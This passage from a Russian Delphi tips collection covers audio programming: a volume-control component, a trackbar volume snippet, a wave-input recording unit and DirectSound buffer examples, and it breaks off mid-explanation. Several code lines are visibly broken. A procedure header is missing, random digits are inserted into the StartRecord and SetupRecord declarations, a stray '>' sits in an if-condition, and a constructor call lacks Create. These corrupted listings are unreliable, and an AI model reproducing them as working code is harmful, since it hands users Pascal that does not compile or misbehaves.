    property       MidiVolume: Byte index 2 read GetVolume write SetVolume
stored False;
    property       MidiTrackBar: TTrackBar index 2 read FTrackBars[2] write
SetTrackBar;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Any', [TVolumeControl]);
end;

type
    TVolumeRec = record
    case Integer of
    0: (LongVolume: Longint);
    1: (LeftVolume,
        RightVolume : Word);
    end;

    function       TVolumeControl.GetInterval: Integer;
    begin
      Result := FTimer.Interval;
    end;

    procedure      TVolumeControl.SetInterval(AInterval: Integer);
    begin
      FTimer.Interval := AInterval;
    end;

    function       TVolumeControl.GetVolume(AIndex: Integer): Byte;
    var Vol: TVolumeRec;
    begin
      Vol.LongVolume := 0;
      if FDevices[AIndex] < >  -1 then
      case AIndex of
      0: auxGetVolume(FDevices[AIndex], @Vol.LongVolume);
      1: waveOutGetVolume(FDevices[AIndex], @Vol.LongVolume);
      2: midiOutGetVolume(FDevices[AIndex], @Vol.LongVolume);
      end;
      Result := (Vol.LeftVolume + Vol.RightVolume) shr 9;
    end;

    procedure      TVolumeControl.SetVolume(aIndex: Integer; aVolume: Byte);
    var Vol: TVolumeRec;
    begin
      if FDevices[AIndex] < >  -1 then
      begin
        Vol.LeftVolume := aVolume shl 8;
        Vol.RightVolume := Vol.LeftVolume;
        case AIndex of
        0: auxSetVolume(FDevices[AIndex], Vol.LongVolume);
        1: waveOutSetVolume(FDevices[AIndex], Vol.LongVolume);
        2: midiOutSetVolume(FDevices[AIndex], Vol.LongVolume);
        end;
      end;
    end;

    procedure      TVolumeControl.SetTrackBar(AIndex: Integer; ATrackBar:
TTrackBar);
    begin
      if ATrackBar < >  FTrackBars[AIndex] then
      begin
        FTrackBars[AIndex] := ATrackBar;
        Update(Self);
      end;
    end;

 AOperation: TOperation);
    var I: Integer;
    begin
      inherited Notification(AComponent, AOperation);
      if (AOperation = opRemove) then
      for I := 0 to 2 do if (AComponent = FTrackBars[I])
      then FTrackBars[I] := Nil;
    end;

    procedure      TVolumeControl.Update(Sender: TObject);
    var I: Integer;
    begin
      for I := 0 to 2 do
      if Assigned(FTrackBars[I]) then
      with FTrackBars[I] do
      begin
        Min := 0;
        Max := 255;
        if Orientation = trVertical
        then Position := 255 - GetVolume(I)
        else Position := GetVolume(I);
        OnChange := Self.Changed;
      end;
    end;

    constructor    TVolumeControl.Create(AOwner: TComponent);
    begin
      inherited Create(AOwner);
      FTimer := TTimer.Create(Self);
      FTimer.OnTimer := Update;
      FTimer.Interval := 500;
      InitVolume;
    end;

    destructor     TVolumeControl.Destroy;
    var I: Integer;
    begin
      FTimer.Free;
      for I := 0 to 2 do
      if Assigned(FTrackBars[I]) then
      FTrackBars[I].OnChange := Nil;
      inherited Destroy;
    end;

    procedure      TVolumeControl.Changed(Sender: TObject);
    var I: Integer;
    begin
      for I := 0 to 2 do
      if Sender = FTrackBars[I] then
      with FTrackBars[I] do
      begin
        if Orientation = trVertical
        then SetVolume(I, 255 - Position)
        else SetVolume(I, Position);
      end;
    end;

    procedure      TVolumeControl.InitVolume;
    var AuxCaps     : TAuxCaps;
        WaveOutCaps : TWaveOutCaps;
        MidiOutCaps : TMidiOutCaps;
        I,J         : Integer;
    begin
      FDevices[0] := -1;
      for I := 0 to auxGetNumDevs - 1 do
      begin
        auxGetDevCaps(I, @AuxCaps, SizeOf(AuxCaps));
        if (AuxCaps.dwSupport and AUXCAPS_VOLUME) < >  0 then
        begin
          FTimer.Enabled := True;
          FDevices[0] := I;
          break;
        end;
      end;
      FDevices[1] := -1;
      for I := 0 to waveOutGetNumDevs - 1 do
      begin
        waveOutGetDevCaps(I, @WaveOutCaps, SizeOf(WaveOutCaps));
        if (WaveOutCaps.dwSupport and WAVECAPS_VOLUME) < >  0 then
        begin
          FTimer.Enabled := True;
          FDevices[1] := I;
          break;
        end;
      end;
      FDevices[2] := -1;
      for I := 0 to midiOutGetNumDevs - 1 do
      begin
        MidiOutGetDevCaps(I, @MidiOutCaps, SizeOf(MidiOutCaps));
        if (MidiOutCaps.dwSupport and MIDICAPS_VOLUME) < >  0 then
        begin
          FTimer.Enabled := True;
          FDevices[2] := I;
          break;
        end;
      end;
    end;

end.

Выставь на форму 2 тракбара и двигай их. Если у тебя звучит музыка, ты должен услышать изменения громкости правого и левого каналов.

procedure TForm1.TrackBar1Change(Sender: TObject);
var
 s: dword;
 a,b: word;
 h: hWnd;
begin
 a:=trackbar1.position;
 b:=trackbar2.position;
 s:=(a shl 16) or b;
 waveOutSetVolume(h,s);
end;

свойство Max в каждом TrackBar'e должно равняться 65535 (то есть MaxWord)

Взято с http://delphiworld.narod.ru


Низкоуровневые процедуры обработки звука

Ниже приведен код, обрабатывающий аудиосигнал, получаемый со входа звуковой карты (SoundBlaster). Надеюсь он поможет разобраться вам с этой сложной темой.

Включенный в код модуль RECUNIT делает всю изнурительную работу по извлечению звука со входа звуковой карты.

var
  WaveRecorder: TWaveRecorder;

...

WaveRecorder := TwaveRecorder(2048, 4); // 4 размером 2048 байт

{ Устанавливает параметры дискретизации }
with WaveRecorder.pWavefmtEx do
begin
  wFormatTag := WAVE_FORMAT_PCM;
  nChannels := 1;
  nSamplesPerSec := 20000;
  wBitsPerSample := 16;
  nAvgBytesPerSec := nSamplesPerSec * (wBitsPerSample div 8) * nChannels;
end;

// Затем используем вариантную запись, поскольку я не знаю
// как получить адрес самого объекта

WaveRecorder.SetupRecord(@WaveRecorder);

// Начинаем запись
WaveRecorder.StartRecord;

...При каждом заполнении буфера вызывается
  процедура WaveRecorder.Processbuffer.

//  Заканчиваем запись
WaveRecorder.StopRecord;
WaveRecorder.Destroy;

{
Имя файла: RECUNIT.PAS  V 1.01
Создан: Авг 19 1996 в 21:56 на IBM ThinkPad
Ревизия #7: Авг 22 1997, 15:01 на IBM ThinkPad
-John Mertus

Данный модуль содержит необходимые процедуры для записи звука.

Версия 1.00 - первый релиз
1.01 - добавлен TWaveInGetErrorText
}

{-----------------Unit-RECUNIT---------------------John Mertus---Авг 96---}

unit RECUNIT;

{*************************************************************************}

interface

uses

  Windows, MMSystem, SysUtils, MSACM;

{  Ниже определен класс TWaveRecorder для обслуживания входа звуковой    }
{  карты. Ожидается, что новый класс будет производным от TWaveRecorder  }
{  и перекроет TWaveRecorder.ProcessBuffer. После начала записи данная   }
{  процедура вызывается каждый раз при наличии в буфере аудио-данных.    }

const

  MAX_BUFFERS = 8;

type

  PWaveRecorder = ^TWaveRecorder;
  TWaveRecorder = class(TObject)
    constructor Create(BfSize, TotalBuffers: Integer);
    destructor Destroy; override;
    procedure ProcessBuffer(uMsg: Word; P: Pointer; n: Integer);
      virtual;

  private
    fBufferSize: Integer; // Размер буфера
    BufIndex: Integer;
    fTotalBuffers: Integer;

    pWaveHeader: array[0..MAX_BUFFERS - 1] of PWAVEHDR;
    hWaveHeader: array[0..MAX_BUFFERS - 1] of THANDLE;
    hWaveBuffer: array[0..MAX_BUFFERS - 1] of THANDLE;
    hWaveFmtEx: THANDLE;
    dwByteDataSize: DWORD;
    dwTotalWaveSize: DWORD;

    RecordActive: Boolean;
    bDeviceOpen: Boolean;

    { Внутренние функции класса }
    function InitWaveHeaders: Boolean;
    function AllocPCMBuffers: Boolean;
    procedure FreePCMBuffers;

    function AllocWaveFormatEx: Boolean;
    procedure FreeWaveFormatEx;

    function AllocWaveHeaders: Boolean;
    procedure FreeWaveHeader;

    function AddNextBuffer: Boolean;
    procedure CloseWaveDeviceRecord;

  public
    { Public declarations }
    pWaveFmtEx: PWaveFormatEx;
    WaveBufSize: Integer; // Размер поля nBlockAlign
    InitWaveRecorder: Boolean;
    RecErrorMessage: string;
    QueuedBuffers,
      ProcessedBuffers: Integer;
    pWaveBuffer: array[0..MAX_BUFFERS - 1] of lpstr;
    WaveIn: HWAVEIN; { Дескриптор Wav-устройства }

    procedure StopRecord;
    function 477576218068 StartRecord: Boolean;
    Function477576218068 SetupRecord(P: PWaveRecorder): Boolean;

  end;

  {*************************************************************************}

implementation

{-------------TWaveInGetErrorText-----------John Mertus---14-Июнь--97--}

function TWaveInGetErrorText(iErr: Integer): string;

{ Выдает сообщения об ошибках WaveIn в формате Pascal                  }
{ iErr - номер ошибки                                                  }
{                                                                      }
{**********************************************************************}
var

  PlayInErrorMsgC: array[0..255] of Char;

begin

  waveInGetErrorText(iErr, PlayInErrorMsgC, 255);
  TWaveInGetErrorText := StrPas(PlayInErrorMsgC);
end;

{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}

function TWaveRecorder.AllocWaveFormatEx: Boolean;

{ Распределяем формат большого размера, требуемый для инсталляции ACM-в}
{                                                                      }
{**********************************************************************}
var

  MaxFmtSize: UINT;

begin

  { maxFmtSize - сумма sizeof(WAVEFORMATEX) + pwavefmtex.cbSize }
  if (acmMetrics(0, ACM_METRIC_MAX_SIZE_FORMAT, maxFmtSize) <> 0) > then
  begin
    RecErrorMessage := 'Ошибка получения размера формата максимального сжатия';
    AllocWaveFormatEx := False;
    Exit;
  end;

  { распределяем структуру WAVEFMTEX }
  hWaveFmtEx := GlobalAlloc(GMEM_MOVEABLE, maxFmtSize);
  if (hWaveFmtEx = 0) then
  begin
    RecErrorMessage := 'Ошибка распределения памяти для структуры WaveFormatEx';
    AllocWaveFormatEx := False;
    Exit;
  end;

  pWaveFmtEx := PWaveFormatEx(GlobalLock(hWaveFmtEx));
  if (pWaveFmtEx = nil) then
  begin
    RecErrorMessage := 'Ошибка блокировки памяти WaveFormatEx';
    AllocWaveFormatEx := False;
    Exit;
  end;

  { инициализация формата в стандарте PCM }
  ZeroMemory(pwavefmtex, maxFmtSize);
  pwavefmtex.wFormatTag := WAVE_FORMAT_PCM;
  pwavefmtex.nChannels := 1;
  pwavefmtex.nSamplesPerSec := 20000;
  pwavefmtex.nBlockAlign := 1;
  pwavefmtex.wBitsPerSample := 16;
  pwavefmtex.nAvgBytesPerSec := pwavefmtex.nSamplesPerSec *
    (pwavefmtex.wBitsPerSample div 8) * pwavefmtex.nChannels;
  pwavefmtex.cbSize := 0;

  { Все успешно, идем домой }
  AllocWaveFormatEx := True;
end;

{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}

function TWaveRecorder.InitWaveHeaders: Boolean;

{ Распределяем память, обнуляем заголовок wave и инициализируем        }
{                                                                      }
{**********************************************************************}
var

  i: Integer;

begin

  { делаем размер буфера кратным величине блока... }
  WaveBufSize := fBufferSize - (fBufferSize mod pwavefmtex.nBlockAlign);

  { Устанавливаем wave-заголовки }
  for i := 0 to fTotalBuffers - 1 do
    with pWaveHeader[i]^ do
    begin
      lpData := pWaveBuffer[i]; // адрес буфера waveform
      dwBufferLength := WaveBufSize; // размер, в байтах, буфера
      dwBytesRecorded := 0; // смотри ниже
      dwUser := 0; // 32 бита данных пользователя
      dwFlags := 0; // смотри ниже
      dwLoops := 0; // смотри ниже
      lpNext := nil; // зарезервировано; должен быть ноль
      reserved := 0; // зарезервировано; должен быть ноль
    end;

  InitWaveHeaders := TRUE;
end;

{-------------AllocWaveHeader----------------John Mertus---14-Июнь--97--}

function TWaveRecorder.AllocWaveHeaders: Boolean;

{ Распределяем и блокируем память заголовка                             }
{                                                                       }
{***********************************************************************}
var

  i: Integer;

begin

  for i := 0 to fTotalBuffers - 1 do
  begin
    hwaveheader[i] := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or
      GMEM_ZEROINIT, sizeof(TWAVEHDR));

    if (hwaveheader[i] = 0) then
    begin
      { Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
      RecErrorMessage := 'Ошибка распределения памяти для wave-заголовка';
      AllocWaveHeaders := FALSE;
      Exit;
    end;

    pwaveheader[i] := GlobalLock(hwaveheader[i]);
    if (pwaveheader[i] = nil) then
    begin
      { Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
      RecErrorMessage := 'Не могу заблокировать память заголовка для записи';
      AllocWaveHeaders := FALSE;
      Exit;
    end;

  end;

  AllocWaveHeaders := TRUE;
end;

{---------------FreeWaveHeader---------------John Mertus---14-Июнь--97--}

procedure TWaveRecorder.FreeWaveHeader;

{ Просто освобождаем распределенную AllocWaveHeaders память.            }
{                                                                       }
{***********************************************************************}
var

  i: Integer;

begin

  for i := 0 to fTotalBuffers - 1 do
  begin
    if (hWaveHeader[i] <> 0) then
    begin
      GlobalUnlock(hwaveheader[i]);
      GlobalFree(hwaveheader[i]);
      hWaveHeader[i] := 0;
    end
  end;
end;

{-------------AllocPCMBuffers----------------John Mertus---14-Июнь--97--}

function TWaveRecorder.AllocPCMBuffers: Boolean;

{ Распределяем и блокируем память waveform.                             }
{                                                                       }
{***********************************************************************}
var

  i: Integer;

begin

  for i := 0 to fTotalBuffers - 1 do
  begin
    hWaveBuffer[i] := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE, fBufferSize);
    if (hWaveBuffer[i] = 0) then
    begin
      { Здесь возможна утечка памяти }
      RecErrorMessage := 'Ошибка распределения памяти wave-буфера';
      AllocPCMBuffers := False;
      Exit;
    end;

    pWaveBuffer[i] := GlobalLock(hWaveBuffer[i]);
    if (pWaveBuffer[i] = nil) then
    begin
      { Здесь возможна утечка памяти }
      RecErrorMessage := 'Ошибка блокирования памяти wave-буфера';
      AllocPCMBuffers := False;
      Exit;
    end;
    pWaveHeader[i].lpData := pWaveBuffer[i];
  end;

  AllocPCMBuffers := TRUE;
end;

{--------------FreePCMBuffers----------------John Mertus---14-Июнь--97--}

procedure TWaveRecorder.FreePCMBuffers;

{ Освобождаем использованную AllocPCMBuffers память.                    }
{                                                                       }
{***********************************************************************}
var

  i: Integer;

begin

  for i := 0 to fTotalBuffers - 1 do
  begin
    if (hWaveBuffer[i] <> 0) then
    begin
      GlobalUnlock(hWaveBuffer[i]);
      GlobalFree(hWaveBuffer[i]);
      hWaveBuffer[i] := 0;
      pWaveBuffer[i] := nil;
    end;
  end;
end;

{--------------FreeWaveFormatEx--------------John Mertus---14-Июнь--97--}

procedure TWaveRecorder.FreeWaveFormatEx;

{ Просто освобождаем заголовки ExFormat headers                         }
{                                                                       }
{***********************************************************************}
begin

  if (pWaveFmtEx = nil) then
    Exit;
  GlobalUnlock(hWaveFmtEx);
  GlobalFree(hWaveFmtEx);
  pWaveFmtEx := nil;
end;

{-------------TWaveRecorder.Create------------John Mertus-----Авг--97--}

constructor TWaveRecorder.Create(BFSize, TotalBuffers: Integer);

{ Устанавливаем wave-заголовки, инициализируем указатели данных и      }
{ и распределяем буферы дискретизации                                  }
{ BFSize - размер буфера в байтах                                      }
{                                                                      }
{**********************************************************************}
var

  i: Integer;
begin

  inherited Create;
  for i := 0 to fTotalBuffers - 1 do
  begin
    hWaveHeader[i] := 0;
    hWaveBuffer[i] := 0;
    pWaveBuffer[i] := nil;
    pWaveFmtEx := nil;
  end;
  fBufferSize := BFSize;

  fTotalBuffers := TotalBuffers;
  { распределяем память для структуры wave-формата }
  if (not AllocWaveFormatEx) then
  begin
    InitWaveRecorder := FALSE;
    Exit;
  end;

  { ищем устройство, совместимое с доступными wave-характеристиками }
  if (waveInGetNumDevs < 1) then
  begin
    RecErrorMessage := 'Не найдено устройств, способных записывать звук';
    InitWaveRecorder := FALSE;
    Exit;
  end;

  { распределяем память wave-заголовка }
  if (not AllocWaveHeaders) then
  begin
    InitWaveRecorder := FALSE;
    Exit;
  end;

  { распределяем память буфера wave-данных }
  if (not AllocPCMBuffers) then
  begin
    InitWaveRecorder := FALSE;
    Exit;
  end;

  InitWaveRecorder := TRUE;

end;

{---------------------Destroy----------------John Mertus---14-Июнь--97--}

destructor TWaveRecorder.Destroy;

{ Просто освобождаем всю память, распределенную InitWaveRecorder.       }
{                                                                       }
{***********************************************************************}

begin

  FreeWaveFormatEx;
  FreePCMBuffers;
  FreeWaveHeader;
  inherited Destroy;
end;

{------------CloseWaveDeviceRecord-----------John Mertus---14-Июнь--97--}

procedure TWaveRecorder.CloseWaveDeviceRecord;

{ Просто освобождаем (закрываем) waveform-устройство.                   }
{                                                                       }
{***********************************************************************}
var

  i: Integer;

begin

  { если устройство уже закрыто, то выходим }
  if (not bDeviceOpen) then
    Exit;

  { работа с заголовками - unprepare }
  for i := 0 to fTotalBuffers - 1 do
    if (waveInUnprepareHeader(WaveIn, pWaveHeader[i], sizeof(TWAVEHDR)) <> 0)
      then

      RecErrorMessage := 'Ошибка в waveInUnprepareHeader';

  { сохраняем общий объем записи и обновляем показ }
  dwTotalwavesize := dwBytedatasize;

  { закрываем входное wave-устройство }
  if (waveInClose(WaveIn) <> 0) then
    RecErrorMessage := 'Ошибка закрытия входного устройства';

  { сообщаем вызвавшей функции, что устройство закрыто }
  bDeviceOpen := FALSE;

end;

{------------------StopRecord-----------------John Mertus---14-Июнь--97--}

procedure TWaveRecorder.StopRecord;

{ Останавливаем запись и устанавливаем некоторые флаги.                 }
{                                                                       }
{***********************************************************************}
var

  iErr: Integer;

begin

  RecordActive := False;
  iErr := waveInReset(WaveIn);
  { прекращаем запись и возвращаем стоящие в очереди буферы }
  if (iErr <> 0) then
  begin
    RecErrorMessage := 'Ошибка в waveInReset';
  end;

  CloseWaveDeviceRecord;
end;

{--------------AddNextBuffer------------------John Mertus---14-Июнь--97--}

function TWaveRecorder.AddNextBuffer: Boolean;

{ Добавляем буфер ко входной очереди и переключаем буферный индекс.     }
{                                                                       }
{***********************************************************************}
var

  iErr: Integer;

begin

  { ставим буфер в очередь для получения очередной порции данных }
  iErr := waveInAddBuffer(WaveIn, pwaveheader[bufindex], sizeof(TWAVEHDR));
  if (iErr <> 0) then
  begin
    StopRecord;
    RecErrorMessage := 'Ошибка добавления буфера' + TWaveInGetErrorText(iErr);
    AddNextBuffer := FALSE;
    Exit;
  end;

  { переключаемся на следующий буфер }
  bufindex := (bufindex + 1) mod fTotalBuffers;
  QueuedBuffers := QueuedBuffers + 1;

  AddNextBuffer := TRUE;
end;

{--------------BufferDoneCallBack------------John Mertus---14-Июнь--97--}

procedure BufferDoneCallBack(
  hW: HWAVE; // дескриптор waveform-устройства
  uMsg: DWORD; // посылаемое сообщение
  dwInstance: DWORD; // экземпляр данных
  dwParam1: DWORD; // определяемый приложением параметр
  dwParam2: DWORD; // определяемый приложением параметр
  ); stdcall;

{ Вызывается при наличии у wave-устройства какой-либо информации,       }
{ например при заполнении буфера                                        }
{                                                                       }
{***********************************************************************}
var

  BaseRecorder: PWaveRecorder;
begin

  BaseRecorder := Pointer(DwInstance);
  with BaseRecorder^ do
  begin
    ProcessBuffer(uMsg, pWaveBuffer[ProcessedBuffers mod fTotalBuffers],
      WaveBufSize);

    if (RecordActive) then
      case uMsg of
        WIM_DATA:
          begin
            BaseRecorder.AddNextBuffer;
            ProcessedBuffers := ProcessedBuffers + 1;
          end;
      end;
  end;
end;

{------------------StartRecord---------------John Mertus---14-Июнь--97--}

function TWaveRecorder.StartRecord: Boolean;

{ Начало записи.                                                        }
{                                                                       }
{***********************************************************************}
var

  iErr, i: Integer;

begin

  { начало записи в первый буфер }
  iErr := WaveInStart(WaveIn);
  if (iErr <> 0) then
  begin
    CloseWaveDeviceRecord;
    RecErrorMessage := 'Ошибка начала записи wave: ' +
      TWaveInGetErrorText(iErr);

  end;

  RecordActive := TRUE;

  { ставим в очередь следующие буферы }
  for i := 1 to fTotalBuffers - 1 do
    if (not AddNextBuffer) then
    begin
      StartRecord := FALSE;
      Exit;
    end;

  StartRecord := True;
end;

{-----------------SetupRecord---------------John Mertus---14-Июнь--97--}

function TWaveRecorder.SetupRecord(P: PWaveRecorder): Boolean;

{ Данная функция делает всю работу по созданию waveform-"записывателя". }
{                                                                       }
{***********************************************************************}
var

  iErr, i: Integer;

begin

  dwTotalwavesize := 0;
  dwBytedatasize := 0;
  bufindex := 0;
  ProcessedBuffers := 0;
  QueuedBuffers := 0;

  { открываем устройство для записи }
  iErr := waveInOpen(@WaveIn, WAVE_MAPPER, pWaveFmtEx,
    Integer(@BufferDoneCallBack),

    Integer(P), CALLBACK_FUNCTION + WAVE_ALLOWSYNC);
  if (iErr <> 0) then
  begin
    RecErrorMessage := 'Не могу открыть входное устройство для записи: ' + ^M
      +

    TWaveInGetErrorText(iErr);
    SetupRecord := FALSE;
    Exit;
  end;

  { сообщаем CloseWaveDeviceRecord(), что устройство открыто }
  bDeviceOpen := TRUE;

  { подготавливаем заголовки }

  InitWaveHeaders();

  for i := 0 to fTotalBuffers - 1 do
  begin
    iErr := waveInPrepareHeader(WaveIn, pWaveHeader[I], sizeof(TWAVEHDR));
    if (iErr <> 0) then
    begin
      CloseWaveDeviceRecord;
      RecErrorMessage := 'Ошибка подготовки заголовка для записи: ' + ^M +
        TWaveInGetErrorText(iErr);
      SetupRecord := FALSE;
      Exit;
    end;
  end;

  { добавляем первый буфер }
  if (not AddNextBuffer) then
  begin
    SetupRecord := FALSE;
    Exit;
  end;

  SetupRecord := TRUE;
end;

{-----------------ProcessBuffer---------------John Mertus---14-Июнь--97--}

procedure TWaveRecorder.ProcessBuffer(uMsg: Word; P: Pointer; n:
  Integer);

{ Болванка процедуры, вызываемой при готовности буфера.                 }
{                                                                       }
{***********************************************************************}
begin
end;

end.

Взято с http://delphiworld.narod.ru


Как использовать в своей программе API DirectSound и DirectSound3D

Представляю вашему вниманию рабочий пример использования DirectSound на Delphi + несколько полезных процедур. В этом примере создается один первичный SoundBuffer и 2 статических, вторичных; в них загружаются 2 WAV файла. Первичный буфер создается процедурой AppCreateWritePrimaryBuffer, а любой вторичный - AppCreateWritePrimaryBuffer. Так как вторичный буфер связан с WAV файлом, то при создании буфера нужно определить его параметры в соответствии со звуковым файлом, эти характеристики (Samples, Bits, IsStereo) задаются в виде параметров процедуры. Time - время WAV'файл в секундах (округление в сторону увеличения). При нажатии на кнопку происходит микширование из вторичных буферов в первичный. AppWriteDataToBuffer позволяет записать в буфер PCM сигнал. Процедура CopyWAVToBuffer открывает WAV файл, отделяет заголовок, читает чанк 'data' и копирует его в буфер (при этом сначала считывается размер данных, так как в некоторых WAV файлах существует текстовый довесок, и если его не убрать, в динамиках возможен треск).

Пример 1-ый

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
    DirectSound : IDirectSound;
    DirectSoundBuffer : IDirectSoundBuffer;
    SecondarySoundBuffer : array[0..1] of IDirectSoundBuffer;
    procedure AppCreateWritePrimaryBuffer;
    procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
      SamplesPerSec: Integer; Bits: Word; isStereo:Boolean; Time: Integer);
    procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
      OffSet: DWord; var SoundData; SoundBytes: DWord);
    procedure CopyWAVToBuffer(name: PChar; var Buffer: IDirectSoundBuffer);
  public
    { Public declarations }
end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
    raise Exception.Create('Failed to create IDirectSound object');
  AppCreateWritePrimaryBuffer;
  AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0], 22050,8,False,10);
  AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1], 22050,16,True,1);
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
  i: ShortInt;
begin
  if Assigned(DirectSoundBuffer) then
    DirectSoundBuffer.Release;
  for i:=0 to 1 do
    if Assigned(SecondarySoundBuffer[i]) then
      SecondarySoundBuffer[i].Release;
  if Assigned(DirectSound) then
    DirectSound.Release;
end;

procedure TForm1.AppWriteDataToBuffer;
var
  AudioPtr1, AudioPtr2 : Pointer;
  AudioBytes1, AudioBytes2 : DWord;
  h : HResult;
  Temp : Pointer;
begin
  H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0);
  if H = DSERR_BUFFERLOST then
  begin
    Buffer.Restore;
    if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0) <> DS_OK then
      raise Exception.Create('Unable to Lock Sound Buffer');
  end
  else
  if H <> DS_OK then
    raise Exception.Create('Unable to Lock Sound Buffer');
  Temp := @SoundData;
  Move(Temp^, AudioPtr1^, AudioBytes1);
  if AudioPtr2 <> nil then
  begin
    Temp := @SoundData; Inc(Integer(Temp), AudioBytes1);
    Move(Temp^, AudioPtr2^, AudioBytes2);
  end;
  if Buffer.UnLock(AudioPtr1, AudioBytes1,AudioPtr2, AudioBytes2) <> DS_OK then
    raise Exception.Create('Unable to UnLock Sound Buffer');
end;

procedure TForm1.AppCreateWritePrimaryBuffer;
var
  BufferDesc: DSBUFFERDESC;
  Caps: DSBCaps;
  PCM: TWaveFormatEx;
begin
  FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
  FillChar(PCM, SizeOf(TWaveFormatEx),0);
  with BufferDesc do
  begin
    PCM.wFormatTag:=WAVE_FORMAT_PCM;
    PCM.nChannels:=2;
    PCM.nSamplesPerSec:=22050;
    PCM.nBlockAlign:=4;
    PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
    PCM.wBitsPerSample:=16;
    PCM.cbSize:=0;
    dwSize:=SizeOf(DSBUFFERDESC);
    dwFlags:=DSBCAPS_PRIMARYBUFFER;
    dwBufferBytes:=0;
    lpwfxFormat:=nil;
  end;
  if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK then
    raise Exception.Create('Unable to set Coopeative Level');
  if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK then
    raise Exception.Create('Create Sound Buffer failed');
  if DirectSoundBuffer.SetFormat(PCM) <> DS_OK then
    raise Exception.Create('Unable to Set Format ');
  if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK then
    raise Exception.Create('Unable to set Coopeative Level');
end;

procedure TForm1.AppCreateWriteSecondaryBuffer;
var
  BufferDesc: DSBUFFERDESC;
  Caps: DSBCaps;
  PCM: TWaveFormatEx;
begin
  FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
  FillChar(PCM, SizeOf(TWaveFormatEx),0);
  with BufferDesc do
  begin
    PCM.wFormatTag:=WAVE_FORMAT_PCM;
    if isStereo then
      PCM.nChannels:=2
    else
      PCM.nChannels:=1;
    PCM.nSamplesPerSec:=SamplesPerSec;
    PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
    PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
    PCM.wBitsPerSample:=Bits;
    PCM.cbSize:=0;
    dwSize:=SizeOf(DSBUFFERDESC);
    dwFlags:=DSBCAPS_STATIC;
    dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
    lpwfxFormat:=@PCM;
  end;
  if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK then
    raise Exception.Create('Create Sound Buffer failed');
end;

procedure TForm1.CopyWAVToBuffer;
var
  Data : PChar;
  FName : TFileStream;
  DataSize : DWord;
  Chunk : string[4];
  Pos : Integer;
begin
  FName:=TFileStream.Create(name,fmOpenRead);
  Pos:=24;
  SetLength(Chunk,4);
  repeat
    FName.Seek(Pos, soFromBeginning);
    FName.read(Chunk[1],4);
    Inc(Pos);
  until
    Chunk = 'data';
  FName.Seek(Pos+3, soFromBeginning);
  FName.read(DataSize, SizeOf(DWord));
  GetMem(Data,DataSize);
  FName.read(Data^, DataSize);
  FName.Free;
  AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
  FreeMem(Data,DataSize);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  CopyWAVToBuffer('1.wav',SecondarySoundBuffer[0]);
  CopyWAVToBuffer('flip.wav',SecondarySoundBuffer[1]);

  if SecondarySoundBuffer[0].Play(0,0,0) <> DS_OK then
    ShowMessage('Can not play the Sound');

  if SecondarySoundBuffer[1].Play(0,0,0) <> DS_OK then
    ShowMessage('Can not play the Sound');
end;

end.

Пример 2-ой

Представляю вашему вниманию очередной пример работы с DirectSound на Delphi. В этом примере показан принцип работы с 3D буфером. Итак, процедуры AppCreateWritePrimaryBuffer, AppWriteDataToBuffer, CopyWAVToBuffer я оставил без изменения (см. письма с до этого). Процедура AppCreateWriteSecondary3DBuffer является полным аналогом процедуры AppCreateWriteSecondaryBuffer, за исключением флага DSBCAPS_CTRL3D, который указывает на то, что со статическим вторичным буфером будет связан еще один буфер - SecondarySound3DBuffer. Чтобы его инициализировать, а также установить некоторые начальные значения (положение в пространстве, скорость и .т.д.) вызывается процедура AppSetSecondary3DBuffer, в качестве параметров которой передаются сам SecondarySoundBuffer и связанный с ним SecondarySound3DBuffer. В этой процедуре SecondarySound3DBuffer инициализируется с помощью метода QueryInterface c соответствующим флагом. Кроме того, здесь же устанавливается положение источника звука в пространстве: SetPosition(Pos,1,1,0). X,Y,Z Таким образом в начальный момент времени источник находится на высоте 1 м (ось Y направлена вертикально вверх, а ось Z - "в экран"). Если смотреть сверху :

^ Z
|
|
|
O----------------> X

